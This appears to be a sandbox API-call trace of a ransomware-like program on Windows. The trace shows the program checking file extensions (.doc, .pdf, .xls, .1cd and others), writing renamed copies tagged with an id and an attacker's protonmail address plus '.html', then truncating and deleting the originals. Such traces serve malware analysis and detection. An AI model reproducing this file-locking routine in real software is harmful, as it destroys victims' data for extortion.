	[0062.048] lstrlenW (lpString=".pdf") returned 4
	[0062.048] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.048] lstrlenW (lpString=".xls") returned 4
	[0062.048] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.048] lstrlenW (lpString=".xlsx") returned 5
	[0062.048] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.048] lstrlenW (lpString=".ppt") returned 4
	[0062.048] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.049] lstrlenW (lpString=".zip") returned 4
	[0062.049] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString=".rar") returned 4
	[0062.049] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString=".bz2") returned 4
	[0062.049] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.049] lstrlenW (lpString=".7z") returned 3
	[0062.049] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.049] lstrlenW (lpString=".dbf") returned 4
	[0062.049] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.049] lstrlenW (lpString=".1cd") returned 4
	[0062.049] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.049] lstrlenW (lpString=".jpg") returned 4
	[0062.049] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.049] lstrlenW (lpString=".doc") returned 4
	[0062.049] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString=".docx") returned 5
	[0062.049] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.049] lstrlenW (lpString=".pdf") returned 4
	[0062.049] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString=".xls") returned 4
	[0062.049] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString=".xlsx") returned 5
	[0062.049] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.049] lstrlenW (lpString=".ppt") returned 4
	[0062.049] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.050] lstrlenW (lpString=".zip") returned 4
	[0062.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.050] lstrlenW (lpString=".rar") returned 4
	[0062.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.050] lstrlenW (lpString=".bz2") returned 4
	[0062.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.050] lstrlenW (lpString=".7z") returned 3
	[0062.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.050] lstrlenW (lpString=".dbf") returned 4
	[0062.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.050] lstrlenW (lpString=".1cd") returned 4
	[0062.050] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.050] lstrlenW (lpString=".jpg") returned 4
	[0062.050] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.050] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.050] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.050] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17752) returned 1
	[0062.051] CloseHandle (hObject=0x320) returned 1
	[0062.051] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80
	[0062.051] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.051] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.051] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.052] GetLastError () returned 0x0
	[0062.053] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4558, lpOverlapped=0x0) returned 1
	[0062.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4560, lpOverlapped=0x0) returned 1
	[0062.055] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.055] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.055] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.056] CloseHandle (hObject=0x2f8) returned 1
	[0062.455] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.455] SetEndOfFile (hFile=0x320) returned 1
	[0062.456] CloseHandle (hObject=0x320) returned 1
	[0062.457] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.457] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1
	[0062.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.457] lstrlenW (lpString=".doc") returned 4
	[0062.457] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.457] lstrlenW (lpString=".docx") returned 5
	[0062.457] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.458] lstrlenW (lpString=".pdf") returned 4
	[0062.458] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.458] lstrlenW (lpString=".xls") returned 4
	[0062.458] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.458] lstrlenW (lpString=".xlsx") returned 5
	[0062.458] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.458] lstrlenW (lpString=".ppt") returned 4
	[0062.458] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.458] lstrlenW (lpString=".zip") returned 4
	[0062.458] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.458] lstrlenW (lpString=".rar") returned 4
	[0062.458] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.458] lstrlenW (lpString=".bz2") returned 4
	[0062.458] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.458] lstrlenW (lpString=".7z") returned 3
	[0062.458] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.458] lstrlenW (lpString=".dbf") returned 4
	[0062.458] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.458] lstrlenW (lpString=".1cd") returned 4
	[0062.458] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.458] lstrlenW (lpString=".jpg") returned 4
	[0062.458] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.459] lstrlenW (lpString=".doc") returned 4
	[0062.459] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString=".docx") returned 5
	[0062.459] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.459] lstrlenW (lpString=".pdf") returned 4
	[0062.459] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString=".xls") returned 4
	[0062.459] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString=".xlsx") returned 5
	[0062.459] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.459] lstrlenW (lpString=".ppt") returned 4
	[0062.459] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.459] lstrlenW (lpString=".zip") returned 4
	[0062.459] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString=".rar") returned 4
	[0062.459] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.459] lstrlenW (lpString=".bz2") returned 4
	[0062.459] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.459] lstrlenW (lpString=".7z") returned 3
	[0062.459] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.459] lstrlenW (lpString=".dbf") returned 4
	[0062.459] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.459] lstrlenW (lpString=".1cd") returned 4
	[0062.460] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0062.460] lstrlenW (lpString=".jpg") returned 4
	[0062.460] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.460] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.460] lstrlenW (lpString="Rotate2.ico") returned 11
	[0062.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.460] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=894) returned 1
	[0062.460] CloseHandle (hObject=0x320) returned 1
	[0062.460] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80
	[0062.461] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.461] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.461] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.461] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.461] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.461] GetLastError () returned 0x0
	[0062.461] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.463] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.465] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.465] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.465] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.465] CloseHandle (hObject=0x2f8) returned 1
	[0062.466] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.466] SetEndOfFile (hFile=0x320) returned 1
	[0062.467] CloseHandle (hObject=0x320) returned 1
	[0062.467] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.468] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1
	[0062.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.468] lstrlenW (lpString=".doc") returned 4
	[0062.468] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.468] lstrlenW (lpString=".docx") returned 5
	[0062.468] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0062.468] lstrlenW (lpString=".pdf") returned 4
	[0062.468] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.468] lstrlenW (lpString=".xls") returned 4
	[0062.468] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.468] lstrlenW (lpString=".xlsx") returned 5
	[0062.468] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0062.468] lstrlenW (lpString=".ppt") returned 4
	[0062.468] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.468] lstrlenW (lpString=".zip") returned 4
	[0062.468] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.468] lstrlenW (lpString=".rar") returned 4
	[0062.469] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.469] lstrlenW (lpString=".bz2") returned 4
	[0062.469] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.469] lstrlenW (lpString=".7z") returned 3
	[0062.469] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.469] lstrlenW (lpString=".dbf") returned 4
	[0062.469] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.469] lstrlenW (lpString=".1cd") returned 4
	[0062.469] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.469] lstrlenW (lpString=".jpg") returned 4
	[0062.469] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.469] lstrlenW (lpString=".doc") returned 4
	[0062.469] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.469] lstrlenW (lpString=".docx") returned 5
	[0062.469] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0062.469] lstrlenW (lpString=".pdf") returned 4
	[0062.469] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.469] lstrlenW (lpString=".xls") returned 4
	[0062.469] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.469] lstrlenW (lpString=".xlsx") returned 5
	[0062.469] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0062.470] lstrlenW (lpString=".ppt") returned 4
	[0062.470] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.470] lstrlenW (lpString=".zip") returned 4
	[0062.470] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.470] lstrlenW (lpString=".rar") returned 4
	[0062.470] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.470] lstrlenW (lpString=".bz2") returned 4
	[0062.470] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.470] lstrlenW (lpString=".7z") returned 3
	[0062.470] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.470] lstrlenW (lpString=".dbf") returned 4
	[0062.470] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.470] lstrlenW (lpString=".1cd") returned 4
	[0062.470] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0062.470] lstrlenW (lpString=".jpg") returned 4
	[0062.470] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.470] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.470] lstrlenW (lpString="Rotate3.ico") returned 11
	[0062.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.471] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=894) returned 1
	[0062.471] CloseHandle (hObject=0x320) returned 1
	[0062.471] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80
	[0062.471] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.471] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.471] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.472] GetLastError () returned 0x0
	[0062.472] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.474] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.475] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.475] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.475] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.475] CloseHandle (hObject=0x2f8) returned 1
	[0062.476] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.476] SetEndOfFile (hFile=0x320) returned 1
	[0062.477] CloseHandle (hObject=0x320) returned 1
	[0062.477] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.478] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1
	[0062.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.480] lstrlenW (lpString=".doc") returned 4
	[0062.480] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.480] lstrlenW (lpString=".docx") returned 5
	[0062.480] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0062.480] lstrlenW (lpString=".pdf") returned 4
	[0062.480] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.480] lstrlenW (lpString=".xls") returned 4
	[0062.480] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.480] lstrlenW (lpString=".xlsx") returned 5
	[0062.480] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0062.480] lstrlenW (lpString=".ppt") returned 4
	[0062.480] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.480] lstrlenW (lpString=".zip") returned 4
	[0062.480] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.480] lstrlenW (lpString=".rar") returned 4
	[0062.481] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.481] lstrlenW (lpString=".bz2") returned 4
	[0062.481] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.481] lstrlenW (lpString=".7z") returned 3
	[0062.481] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.481] lstrlenW (lpString=".dbf") returned 4
	[0062.481] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.481] lstrlenW (lpString=".1cd") returned 4
	[0062.481] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.481] lstrlenW (lpString=".jpg") returned 4
	[0062.481] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.481] lstrlenW (lpString=".doc") returned 4
	[0062.481] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.481] lstrlenW (lpString=".docx") returned 5
	[0062.481] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
